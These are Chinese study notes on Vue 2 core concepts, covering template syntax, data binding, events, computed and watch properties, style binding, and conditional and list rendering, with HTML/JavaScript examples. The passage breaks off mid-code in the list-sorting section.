1.Vue 核心
1.1. Vue 简介
1.1.1. 官网
- 英文官网:https://vuejs.org/
- 中文官网:https://cn.vuejs.org/
1.1.2. 介绍与描述
- 动态构建用户界面的渐进式 JavaScript 框架
- 作者:尤雨溪
1.1.3. Vue 的特点
- 遵循 MVVM 模式
- 编码简洁,体积小,运行效率高,适合移动/PC 端开发
- 它本身只关注 UI,可以引入其它第三方库开发项目
1.1.4.与其他 JS 框架的关联
- 借鉴 Angular 的模板和数据绑定技术
- 借鉴 React 的组件化和虚拟 DOM 技术
1.1.5. Vue 周边库
- vue-cli:vue 脚手架
- vue-resource
- axios
- vue-router:路由
- vuex:状态管理
- element-ui:基于 vue 的 UI 组件库(PC 端)
1.2. 初识 Vue
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>初识vue</title>
<!-- 引入Vue -->
<script src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="root">
<h1>Hello!{{name}}!</h1>
</div>
<script>
Vue.config.productionTip = false; // 阻止vue在启动时生成生产提示
new Vue({
el: "#root", //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串
data: {
//data用于存储数据,数据共el所指定的容器去使用
name: "JOJO",
},
});
</script>
</body>
</html>
效果:
注意:
- 想让 Vue 工作,就必须创建一个 Vue 实例,且要传入一个配置对象
- root 容器里的代码依然符合 html 规范,只不过混入了一些特殊的 Vue 语法
- root 容器里的代码被称为 Vue 模板
- Vue 实例与容器是一一对应的
- 真实开发中只有一个 Vue 实例,并且会配合着组件一起使用
- 中的 xxx 要写 js 表达式,且 xxx 可以自动读取到 data 中的所有属性
- 一旦 data 中的数据发生变化,那么模板中用到该数据的地方也会自动更新
- 模板里面可以直接获取到 vm 的 data 的属性
1.3. 模板语法:插值语法和指令语法
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>vue模板语法</title>
<script src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h1>插值语法</h1>
<h3>你好,{{name}}!</h3>
<hr />
<h1>指令语法</h1>
<a v-bind:href="url">快去看新番!</a><br />
<a :href="url">快去看新番!</a>
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
name: "JOJO",
url: "https://www.bilibili.com/",
},
});
</script>
</body>
</html>
效果:
总结:
Vue 模板语法包括两大类:
- 插值语法:
1. 功能:用于解析标签体内容
2. 写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有区域
{{}}里面可以直接写data里面的属性,也可以写方法名(),也可以写一些js内置的方法,也就是说只要是js的东西,都可以随便写!!!
注:如果{{}}里面是undefined,那么就不会展示在页面上,自动去除!
- 指令语法:
功能:用于解析标签(包括:标签属性、标签体内容、绑定事件…) 举例:<a v-bind:href="xxx">
或简写为<a :href="xxx">
,xxx 同样要写 js 表达式,且可以直接读取到 data 中的所有属性 备注:Vue 中有很多的指令,且形式都是 v-???,此处我们只是拿 v-bind 举个例子
1.4. 数据绑定
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>数据绑定</title>
<script src="../js/vue.js"></script>
</head>
<body>
<div id="root">
单向数据绑定:<input type="text" v-bind:value="name" /><br />
双向数据绑定:<input type="text" v-model:value="name" />
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
name: "JOJO",
},
});
</script>
</body>
</html>
效果:
总结:
Vue 中有 2 种数据绑定的方式:
- 单向绑定(
v-bind
):数据只能从 data 流向页面 - 双向绑定(
v-model
):数据不仅能从 data 流向页面,还可以从页面流向 data
- 单向绑定(
备注:
双向绑定一般都应用在表单类元素上(如:
<input>
、<select>
、<textarea>
等)v-model:value 可以简写为 v-model,因为 v-model 默认收集的就是 value 值
即 v-module:value="name" 等价于 v-module="name"
注:但是在
<input type="checkbox" v-model=""/>
这时的 v-model 默认收集的是 checked 值,即是否勾选!v-model 在 input 上面的原理:
vue<template> <div> <input v-model="sth" /> <!--等价于:--> <input :value="sth" @input="sth = $event.target.value" /> <!-- input 元素本身有个 oninput 事件,这是 HTML5 新增加的,类似 onchange , 每当输入框内容发生变化时,就会触发oninput,把最新的value传递给 sth。 --> </div> </template> <script> export default { data() { return { first: "", sth: "", }; }, }; </script>
注意:
- 如果数据是一组一组的,那么必须写在对象里面,以{k:v, k:v}的形式出现
- 如果 k 和 v 名字一样则可以合并为一个
- 例子:
<!--前面的opacity是css属性名,后面的opacity是data里面的属性-->
<h2 :style="{opacity: opacity}">
<!--简写为:<h2 :style="{opacity}">-->
</h2>
<script>
new Vue{
data:{
opacity: 1
}
}
</script>
1.5. el 与 data 的两种写法
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>el与data的两种写法</title>
<script src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h1>Hello,{{name}}!</h1>
</div>
<script>
Vue.config.productionTip = false;
//el的两种写法:
// const vm = new Vue({
// // el:'#root', //第一种写法
// data:{
// name:'JOJO'
// }
// })
// vm.$mount('#root')//第二种写法
//data的两种写法:
new Vue({
el: "#root",
//data的第一种写法:对象式
// data:{
// name:'JOJO'
// }
//data的第二种写法:函数式
data() {
return {
name: "JOJO",
};
},
});
</script>
</body>
</html>
总结:
el 有 2 种写法:
- 创建 Vue 实例对象的时候就配置 el 属性
- 先创建 Vue 实例,随后再通过 vm.$mount('#root')指定 el 的值
data 有 2 种写法:
- 对象式
- 函数式
- 如何选择:目前哪种写法都可以,以后学到组件时,data 必须使用函数,否则会报错
- 注:vm 对象的属性默认就是 data 里面的值
由 Vue 管理的一切 methods 里面的函数,一定不要写箭头函数,否则 this 就不再是 Vue 实例 vm 了,而是 js 的 window 对象
1.6. MVVM 模型
MVVM 模型:
- M:模型(Model),data 中的数据
- V:视图(View),模板代码
- VM:视图模型(ViewModel),Vue 实例
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>mvvm</title>
<script src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2>名称:{{name}}</h2>
<h2>战队:{{rank}}</h2>
<h2>测试:{{$options}}</h2>
<!--this.$options 可以.获取自定义属性,直接输出就包括很多默认属性-->
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
name: "uzi",
rank: "RNG",
},
});
</script>
</body>
</html>
效果:
总结:
- data 中所有的属性,最后都出现在了 vm 身上
- vm 身上所有的属性 及 Vue 原型身上所有的属性,在 Vue 模板中都可以直接使用
1.7. Vue 中的数据代理
总结:
- Vue 中的数据代理通过 vm 对象来代理 data 对象中属性的操作(读/写)
- Vue 中数据代理的好处:更加方便的操作 data 中的数据
- 基本原理:
通过 js 中的 object.defineProperty()方法把 data 对象中所有属性添加到 vm 上作为 vm 的属性。(vm 就是 new 出来的 Vue 实例对象)
为每一个添加到 vm 上的属性,都指定一个 getter/setter。
在 getter/setter 内部去操作(读/写)data 中对应的属性。
我们定义的 data 到了实际的 vm 对象中就是_data,并且
vm._data.属性和vm.属性是完全·等价的
1.8. 事件处理
1.8.1. 事件的基本用法
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>事件的基本用法</title>
<script src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2>hello,{{name}}</h2>
<button v-on:click="showInfo1">点我提示信息1</button>
<button @click="showInfo2($event,66)">点我提示信息2</button>
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
name: "JOJO",
},
methods: {
showInfo1(event) {
console.log(event);
},
showInfo2(evnet, num) {
console.log(event, num);
},
},
});
</script>
</body>
</html>
效果:
总结:
使用 v-on:xxx 或@xxx 绑定事件,其中 xxx 是事件名
事件的回调需要配置在 methods 对象中,最终会在 vm 上
methods 中配置的函数,==不要用箭头函数!==否则 this 就不是 vm 了
methods 中配置的函数,都是被 Vue 所管理的函数,this 的指向是 vm 或组件实例对象
@click="demo"和@click="demo($event)"效果一致,但后者可以传参
@click="表达式",这样也是可以的,因为模板里面可以直接取到 vm 的属性!!!
例:@click="isTrue = !isTrue"
注:但是不能直接写 js 中的函数,因为模板里面只能去 vue 对象查找属性和方法!
如果在 vm 的 data 里面加上 js 对象,再 js 对象.方法是可以的!
1.8.2. 事件修饰符
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>事件修饰符</title>
<script type="text/javascript" src="../js/vue.js"></script>
<style>
* {
margin-top: 20px;
}
.demo1 {
height: 50px;
background-color: skyblue;
}
.box1 {
padding: 5px;
background-color: skyblue;
}
.box2 {
padding: 5px;
background-color: orange;
}
.list {
width: 200px;
height: 200px;
background-color: peru;
overflow: auto;
}
li {
height: 100px;
}
</style>
</head>
<body>
<div id="root">
<h2>欢迎来到{{name}}学习</h2>
<!-- 阻止默认事件 -->
<a href="http://www.atguigu.com" @click.prevent="showInfo"
>点我提示信息</a
>
<!-- 阻止事件冒泡 -->
<div class="demo1" @click="showInfo">
<button @click.stop="showInfo">点我提示信息</button>
</div>
<!-- 事件只触发一次 -->
<button @click.once="showInfo">点我提示信息</button>
<!-- 使用事件的捕获模式 -->
<div class="box1" @click.capture="showMsg(1)">
div1
<div class="box2" @click="showMsg(2)">div2</div>
</div>
<!-- 只有event.target是当前操作的元素时才触发事件 -->
<div class="demo1" @click.self="showInfo">
<button @click="showInfo">点我提示信息</button>
</div>
<!-- 事件的默认行为立即执行,无需等待事件回调执行完毕 -->
<ul @wheel.passive="demo" class="list">
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
</ul>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
name: "尚硅谷",
},
methods: {
showInfo(e) {
alert("同学你好!");
},
showMsg(msg) {
console.log(msg);
},
demo() {
for (let i = 0; i < 100000; i++) {
console.log("#");
}
console.log("累坏了");
},
},
});
</script>
</html>
效果:
总结:
Vue 中的事件修饰符:
- prevent:阻止默认事件(常用),即取消标签本来的效果(如 a 标签的链接跳转)
- stop:阻止事件冒泡,且是阻止里面向外冒泡(常用),即内层的标签的事件不会触发外层的事件、不会形成联动
- once:事件只触发一次(常用)
- capture:使用事件的捕获模式,即在捕获阶段就处理事件(js 中事件分为捕获阶段和冒泡阶段,捕获阶段是从外往内的,这时候是捕捉事件,冒泡阶段是从内往外的,这时候是触发事件的行为,即处理事件)
- self:只有 event.target 是当前操作的元素时才触发事件(event.target 就是发生事件的 dom 元素),类似于冒泡限制(但是如果 dom 元素一样就阻止不了)
- passive:事件的默认行为立即执行,无需等待事件回调执行完毕
修饰符可以连续写,比如可以这么用:
@click.prevent.stop="showInfo"
1.8.3. 键盘事件
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>键盘事件</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2>欢迎来到{{name}}学习</h2>
<input
type="text"
placeholder="按下回车提示输入"
@keydown.enter="showInfo" />
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
name: "尚硅谷",
},
methods: {
showInfo(e) {
console.log(e.target.value);
},
},
});
</script>
</html>
效果:
总结:
键盘上的每个按键都有自己的名称和编码,例如:Enter(13)。而 Vue 还对一些常用按键起了别名方便使用
Vue 中常用的按键别名:
- 回车:enter
- 删除:delete (捕获“删除”和“退格”键)
- 退出:esc
- 空格:space
- 换行:tab (特殊,必须配合 keydown 去使用)
- 上:up
- 下:down
- 左:left
- 右:right
注意:
1.系统修饰键(用法特殊):ctrl、alt、shift、meta
配合 keyup 使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发
配合 keydown 使用:正常触发事件
2.可以使用 keyCode 去指定具体的按键,比如:@keydown.13="showInfo",但不推荐这样使用
3.Vue.config.keyCodes.自定义键名 = 键码,可以自定义按键别名
1.9. 计算属性
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>计算属性</title>
<script src="../js/vue.js"></script>
</head>
<body>
<div id="root">
姓:<input type="text" v-model="firstName" /><br /><br />
名:<input type="text" v-model="lastName" /><br /><br />
姓名:<span>{{fullName}}</span>
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
firstName: "张",
lastName: "三",
},
//用methods的方式:
//methods:{
//fullName(){
//return this.firstName + '-' +this.lastName
//}
//},
computed: {
fullName: {
//作为一个属性(对象),但是里面是函数
get() {
//当有人读取fullName时,get就会被执行,其返回值就作为fullName的值
return this.firstName + "-" + this.lastName; //前面必须要加this(this先指向fullName再指向vm)
},
//控制台写:vm.fullName = '李-四'
set(value) {
//可以没有,当fullName需要被修改时用到
const arr = value.split("-");
this.firstName = arr[0]; //修改data的值
this.lastName = arr[1]; //修改data的值
//从而成功修改了data和fullName!但是并不是真正修改了
},
},
},
});
</script>
</body>
</html>
可以形成一个联动的效果:由于 v-module 和计算属性的同时应用!
效果:
总结:
计算属性:
- 定义:要用的属性不存在,需要通过已有==属性(即 data 中的数据)==计算得来。
- 原理:底层借助了 Objcet.defineproperty()方法提供的 getter 和 setter。
let number = 18;
let person = {
name: "张三",
sex: "男",
};
//此时age是不可以枚举的
//借助Object.defineProperty方法往person对象里添加属性!
//关联
Object.defineProperty(person, "age", {
// value: 18,
// enumerable: true, //此时代表这个属性是可以枚举的
// writable: true, //代表可以重写该属性(控制属性是否被修改)
// configurable:true, //控制属性是否可以被删除 默认为false
//当读取person的age属性时get属性就会被调用,且返回值就是age的值
//invoke property proxy映射数据代理
get: function () {
//测试它的调用情况
console.log("@@@ GET AGE");
//此时age的值依赖number的值
return number;
},
//当修改person的age属性时set(setter)属性就会被调用,且会收到修改的具体值
set(v) {
//测试
console.log("CHANGE AGE");
number = v;
},
});
get 函数什么时候执行?
- 页面中初次读取计算属性时会执行一次
- 当计算属性所依赖的数据发生改变时会被再次调用
- 最终 vm 对象中放的是,==计算属性:get 函数的返回值==
优势:与 methods 实现相比,内部有缓存机制(复用),效率更高,调试方便(就一个缓存的区别,其他都一模一样)
关于缓存的理解:当属性(计算属性)被计算出来一次之后,后面再用到这个属性的时候,不需要再次计算,直接到缓存里面取即可
备注:
- 计算属性最终会出现在 vm 上,直接读取使用即可
- 如果计算属性要被修改,那必须写 set 函数去响应修改,且 set 中要引起计算时依赖的数据(即 data 中的数据)发生改变
- 如果计算属性确定不考虑修改,可以使用计算属性的简写形式
即:
new Vue({
el: "#root",
data: {
firstName: "张",
lastName: "三",
},
computed: {
fullName() {
return this.firstName + "-" + this.lastName;
},
},
});
1.10. 监视属性
1.10.1. 监视属性基本用法
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>监视属性</title>
<script src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2>今天天气好{{info}}!</h2>
<button @click="changeWeather">点击切换天气</button>
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
isHot: true,
},
computed: {
info() {
return this.isHot ? "炎热" : "凉爽"; //必须加this
},
},
methods: {
changeWeather() {
this.isHot = !this.isHot;
},
},
watch: {
isHot: {
//isHot就是data里面的那个属性,初始值作为oldValue
//immediate:true, //初始化时,就让handler自执行一下,且此时初始值作为newValue,没有oldValue(immediate默认为false)
//handler什么时候调用?当isHot发生改变时
handler(newValue, oldValue) {
console.log("isHot被修改了", newValue, oldValue);
},
},
},
});
</script>
</body>
</html>
效果:
总结:
监视属性 watch:
- 当被监视的属性变化时,回调函数自动调用,进行相关操作
- 监视的属性必须存在,才能进行监视(计算属性也可以进行监视,和 data 的一样)
- 监视有两种写法:
创建 Vue 时传入 watch 配置
通过 vm.$watch 监视
vm.$watch("isHot", {
immediate: true,
handler(newValue, oldValue) {
console.log("isHot被修改了", newValue, oldValue);
},
});
- 应用场景:可以实时改变,比如计算温度差,达到什么标准,就做什么操作!比如提示穿秋裤!
1.10.2. 深度监视
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>深度监视</title>
<script src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h3>a的值是:{{numbers.a}}</h3>
<button @click="numbers.a++">点我让a+1</button>
<h3>b的值是:{{numbers.b}}</h3>
<button @click="numbers.b++">点我让b+1</button>
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
isHot: true,
numbers: {
a: 1,
b: 1,
},
},
watch: {
//深度监视1:监视多级结构(对象)中所有属性的变化
numbers: {
deep: true,
handler() {
console.log("numbers改变了");
},
},
//深度监视2:监视多级结构中某个属性的变化
/* 'numbers.a':{
handler(){
console.log('a被改变了')
}
} */
},
});
</script>
</body>
</html>
效果:
总结:
深度监视:
- Vue 中的 watch 默认不监测对象内部值的改变(一层)
- 在 watch 中配置 deep:true 可以监测对象内部值的改变(多层)
备注:
- Vue 自身可以监测对象内部值的改变,但 Vue 提供的 watch 默认不可以
- 使用 watch 时根据监视数据的具体结构,决定是否采用深度监视
1.10.3. 监视属性简写
如果监视属性除了 handler 没有其他配置项的话,可以进行简写。
<script type="text/javascript">
Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el: "#root",
data: {
isHot: true,
},
computed: {
info() {
return this.isHot ? "炎热" : "凉爽";
},
},
methods: {
changeWeather() {
this.isHot = !this.isHot;
},
},
watch: {
//正常写法
isHot: {
handler(newValue, oldValue) {
console.log("isHot被修改了", newValue, oldValue);
},
},
//简写
isHot(newValue, oldValue) {
console.log("isHot被修改了", newValue, oldValue, this);
},
},
});
//正常写法
vm.$watch("isHot", {
handler(newValue, oldValue) {
console.log("isHot被修改了", newValue, oldValue);
},
});
//简写
vm.$watch("isHot", function (newValue, oldValue) {
console.log("isHot被修改了", newValue, oldValue, this);
});
</script>
1.10.4. 监听属性 VS 计算属性
使用计算属性:
new Vue({
el: "#root",
data: {
firstName: "张",
lastName: "三",
},
computed: {
fullName() {
return this.firstName + "-" + this.lastName;
},
},
});
使用监听属性:
new Vue({
el: "#root",
data: {
firstName: "张",
lastName: "三",
fullName: "张-三",
},
watch: {
firstName(val) {
setTimeout(() => {
//延时执行
this.fullName = val + "-" + this.lastName;
}, 1000);
},
lastName(val) {
this.fullName = this.firstName + "-" + val;
},
},
});
总结:
computed 和 watch 之间的区别:
- computed 能完成的功能,watch 都可以完成
- watch 能完成的功能,computed 不一定能完成,例如:watch 可以进行异步操作
两个重要的小原则:
- 所有被 Vue 管理的函数,最好写成普通函数,这样 this 的指向才是 vm 或 组件实例对象
- 所有不被 Vue 所管理的函数(定时器的回调函数、ajax 的回调函数等、Promise 的回调函数),最好写成箭头函数,这样 this 的指向才能区分出来是 vm 或 组件实例对象。
1.11. 绑定样式
<style>
.basic {
width: 400px;
height: 100px;
border: 1px solid black;
}
.happy {
border: 4px solid red;
background-color: rgba(255, 255, 0, 0.644);
background: linear-gradient(30deg, yellow, pink, orange, yellow);
}
.sad {
border: 4px dashed rgb(2, 197, 2);
background-color: gray;
}
.normal {
background-color: skyblue;
}
.atguigu1 {
background-color: yellowgreen;
}
.atguigu2 {
font-size: 30px;
text-shadow: 2px 2px 10px red;
}
.atguigu3 {
border-radius: 20px;
}
</style>
<div id="root">
<!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定,这个是最牛的,可以实现切换样式且随机 -->
<div class="basic" :class="mood" @click="changeMood">{{name}}</div>
<br /><br />
<!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
<div class="basic" :class="classArr">{{name}}</div>
<br /><br />
<!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
<div class="basic" :class="classObj">{{name}}</div>
<br /><br />
<!-- 绑定style样式--对象写法 -->
<div class="basic" :style="styleObj">{{name}}</div>
<br /><br />
<!-- 绑定style样式--数组写法 -->
<div class="basic" :style="styleArr">{{name}}</div>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
const vm = new Vue({
el: "#root",
data: {
name: "尚硅谷",
mood: "normal",
classArr: ["atguigu1", "atguigu2", "atguigu3"],
classObj: {
atguigu1: false,
atguigu2: false,
},
styleObj: {
//style样式可以在data中进行定义
fontSize: "40px",
color: "red",
},
styleObj2: {
backgroundColor: "orange",
},
styleArr: [
{
fontSize: "40px",
color: "blue",
},
{
backgroundColor: "gray",
},
],
},
methods: {
changeMood() {
const arr = ["happy", "sad", "normal"];
const index = Math.floor(Math.random() * 3);
this.mood = arr[index];
},
},
});
</script>
效果:
总结:
- class 样式:
写法:class="xxx",xxx 可以是字符串、对象、数组
字符串写法适用于:类名不确定,要动态获取
对象写法适用于:要绑定多个样式,个数不确定,名字也不确定
数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用
2.style 样式:
:style="{fontSize: xxx}"其中 xxx 是动态值
:style="[a,b]"其中 a、b 是样式对象
1.12. 条件渲染
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>条件渲染</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
<h2 v-show="true">Hello,{{name}}!</h2>
<div v-if="n === 1">Angular</div>
<div v-else-if="n === 2">React</div>
<div v-else>Vue</div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
const vm = new Vue({
el: "#root",
data: {
name: "jojo",
n: 0,
},
});
</script>
</html>
效果:
总结:
- v-if:
写法:
- v-if="表达式"
- v-else-if="表达式"
- v-else
适用于:切换频率较低的场景
特点:不展示的 DOM 元素直接被移除
注意:v-if 可以和 v-else-if、v-else 一起使用,但要求结构不能被打断(这几个必须连在一起,如果中间插入了别的 dom 元素会失效)
- v-show:(v-show 其实和 v-if 的意思是一样的,都是判断条件是否成立)
写法:v-show="表达式"
适用于:切换频率较高的场景
特点:不展示的 DOM 元素未被移除,仅仅是使用样式将 dom 隐藏掉
使用
v-if
时,元素可能无法获取到(因为 v-if 会移除 dom,然后就找不到了),而使用v-show
一定可以获取到
3.v-if 与 template 的配合使用,template 标签最大的特点就是不影响原来 dom 元素的结构,因为在加载时会消除 template(影响不到样式等,比如用了层级选择器)
<!--v-if与template的配合使用-->
<template v-if="n === 1">
<h2>你好</h2>
<h2>shanghai</h2>
<h2>shenzhen</h2>
</template>
1.13. 列表渲染
1.13.1. 基本列表
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>基本列表</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2>人员列表(遍历数组)</h2>
<ul>
<li v-for="(p,index) in persons" :key="index">{{p.name}}-{{p.age}}</li>
</ul>
<h2>汽车信息(遍历对象)</h2>
<ul>
<li v-for="(value,k) in car" :key="k">{{k}}-{{value}}</li>
</ul>
<h2>遍历字符串</h2>
<ul>
<li v-for="(char,index) in str" :key="index">{{char}}-{{index}}</li>
</ul>
<h2>遍历指定次数</h2>
<!--即从1开始遍历到5,就是number的值-->
<ul>
<li v-for="(number,index) in 5" :key="index">{{index}}-{{number}}</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
persons: [
{ id: "001", name: "张三", age: 18 },
{ id: "002", name: "李四", age: 19 },
{ id: "003", name: "王五", age: 20 },
],
car: {
name: "奥迪A8",
price: "70万",
color: "黑色",
},
str: "hello",
},
});
</script>
</body>
</html>
效果:
总结:
v-for 指令:
用于展示列表数据
语法:
<li v-for="(item, index) in xxx" :key="yyy">
,其中 key 可以是 index,也可以是遍历对象的某个唯一标识(比如 item.id)注:数组和字符串本身就有 index 索引,所以可以用 index 作为索引
但是对象没有 index,不能用 index 作为索引了,但是可以用 key 作为索引(即属性名)!
可遍历:数组、对象、字符串(用的少)、指定次数(用的少)
1.13.2. key 的作用与原理
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>key的原理</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2>人员列表</h2>
<button @click.once="add">添加老刘</button>
<ul>
<li v-for="(p,index) in persons" :key="index">
{{p.name}} - {{p.age}}
<input type="text">
</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
persons:[
{id:'001',name:'张三',age:18},
{id:'002',name:'李四',age:19},
{id:'003',name:'王五',age:20}
]
},
methods: {
add(){
const p = {id:'004',name:'老刘',age:40}
this.persons.unshift(p) //unshift是在数组的最前面插入
}
},
})
</script>
</html>
**效果:**发生了错误
**解决方法:**用 p.id 当作 key,不用 index,因为这个才是数据的唯一标识
原理:
面试题:react、vue 中的 key 有什么作用?(key 的内部原理)
虚拟 DOM 中(vue 中)key 的作用:
key 是虚拟 DOM 中对象的标识,当数据发生变化时,Vue 会根据【新数据】生成【新的虚拟 DOM】,随后 Vue
进行【新虚拟 DOM】与【旧虚拟 DOM】的差异比较,比较规则如下:
- ==对比规则:根据 key 进行对比==——>这也是产生问题的根本原因
旧虚拟 DOM 中找到了与新虚拟 DOM 相同的 key:
- 若虚拟 DOM 中内容没变, 直接使用之前的真实 DOM
- 若虚拟 DOM 中内容变了, 则生成新的真实 DOM,随后替换掉页面中之前的真实 DOM
旧虚拟 DOM 中未找到与新虚拟 DOM 相同的 key:创建新的真实 DOM,随后渲染到到页面
- 用 index 作为 key 可能会引发的问题:
若对数据进行逆序添加、逆序删除等破坏顺序操作:会产生没有必要的真实 DOM 更新 ==> 界面效果没问题, 但效率低
若结构中还包含输入类的 DOM:会产生错误 DOM 更新 ==> 界面有问题
- 开发中如何选择 key?
最好使用每条数据的唯一标识作为 key,比如 id、手机号、身份证号、学号等唯一值
如果不存在对数据的逆序添加、逆序删除等破坏顺序的操作,仅用于渲染列表,使用 index 作为 key 是没有问题的
1.13.3. 列表过滤(模糊搜索)
这个功能可以完全不需要后端就可以完成!!!
1.使用监听属性:
//用监视属性书写功能
new Vue({
el: "#root",
data: {
keyword: "",
persons: [
{ id: "001", name: "周冬雨", age: 20, sex: "女" },
{ id: "002", name: "马冬梅", age: 19, sex: "女" },
{ id: "003", name: "周杰伦", age: 21, sex: "男" },
{ id: "004", name: "温兆伦", age: 22, sex: "男" },
],
filPersons: [],
},
//watch监听用户输入项keyword的变化
watch: {
keyword: {
immediate: true, //上来就进行监视获得到的newValue是''
//所有字符串里面都包含''(由于indexOf方法)
handler(newV) {
// console.log(newV)
//不要修改元数据,这样只会越写越少
//注意一个某个字符串.indexOf('')是0而不是-1(都包含空字符串)
this.filPersons = this.persons.filter(
(p) => p.name.indexOf(newV) !== -1
);
},
},
},
});
2.使用计算属性:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>列表过滤</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2>人员列表</h2>
<input type="text" placeholder="请输入名字" v-model="keyWord" />
<ul>
<li v-for="(p,index) of filPersons" :key="index">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
keyWord: "",
persons: [
{
id: "001",
name: "马冬梅",
age: 19,
sex: "女",
},
{
id: "002",
name: "周冬雨",
age: 20,
sex: "女",
},
{
id: "003",
name: "周杰伦",
age: 21,
sex: "男",
},
{
id: "004",
name: "温兆伦",
age: 22,
sex: "男",
},
],
},
computed: {
//必须使用计算属性:因为不能直接修改原数据(不能原=原.filter)
filPersons() {
//filter:过滤出来我们想要的(每一项都会经过filter方法),不改变原数组,返回的是新数组
return this.persons.filter((p) => {
//return写条件,复合条件的是我们想要的内容
//indexOf:判断字符串里面是否包含指定字符
return p.name.indexOf(this.keyWord) !== -1;
});
},
},
});
</script>
</body>
</html>
效果:
1.13.4. 列表排序
注意这个排序是在前面列表过滤的基础上进行排序,过滤和排序是不分家的!
<body>
<div id="root">
<h2>人员列表</h2>
<input type="text" placeholder="请输入名字" v-model="keyWord" />
<button @click="sortType = 2">年龄升序</button>
<button @click="sortType = 1">年龄降序</button>
<button @click="sortType = 0">原顺序</button>
<ul>
<li v-for="(p,index) of filPersons" :key="p.id">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
</div>
<script>
new Vue({
el: "#root",
data: {
persons: [
{
id: "001",
name: "马冬梅",
age: 30,
sex: "女",
},
{
id: "002",
name: "周冬雨",
age: 45,
sex: "女",
},
{
id: "003",
name: "周杰伦",
age: 21,
sex: "男",
},
{
id: "004",
name: "温兆伦",
age: 22,
sex: "男",
},
],
keyWord: "",
sortType: 0, //0代表原顺序,1代表升序(是视觉意义上的,从上往下看),3代表降序
},
computed: {
filPersons() {
//过滤出来的数组为arr
const arr = this.persons.filter((p) => {
return p.name.indexOf(this.keyWord) !== -1; //这里只是把值给到arr,没有作为计算属性的值
});
if (this.sortType) {
